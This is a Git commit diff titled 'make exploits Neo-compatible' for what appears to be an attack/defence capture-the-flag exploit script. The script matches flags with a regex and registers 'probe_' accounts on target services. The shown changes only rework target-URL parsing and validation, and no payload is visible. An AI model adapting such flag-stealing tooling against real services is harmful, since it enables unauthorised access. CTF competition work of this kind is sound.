make exploits Neo-compatible
This commit is contained in:
1 parent
1de1130da4
commit
8fed2f0fe7
2 files changed
+68
-78
No files matched your search
+17
-7
@@ -15,6 +15,7 @@ import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
|
||||
import requests
|
||||
|
||||
@@ -22,11 +23,20 @@ import requests
|
||||
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
def normalize_base_url(target: str, default_port: int) -> str:
|
||||
target = target.rstrip("/")
|
||||
if "://" in target:
|
||||
return target
|
||||
return f"http://{target}:{default_port}"
|
||||
def service_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP target")
|
||||
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
|
||||
raise ValueError("target must be a host, URL, or URL with no path")
|
||||
port = parsed.port or 5000
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
|
||||
|
||||
|
||||
def json_response(response: requests.Response):
|
||||
@@ -42,11 +52,11 @@ def json_response(response: requests.Response):
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("base_url", help="target IP or service URL")
|
||||
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
|
||||
parser.add_argument("--record-id", help="specific source record id")
|
||||
args = parser.parse_args()
|
||||
|
||||
base = normalize_base_url(args.base_url, 5000)
|
||||
base = service_url(args.base_url)
|
||||
session = requests.Session()
|
||||
username = f"probe_{secrets.token_hex(5)}"
|
||||
account = json_response(session.post(
|
||||
|
||||
Reference in new issue
Block a user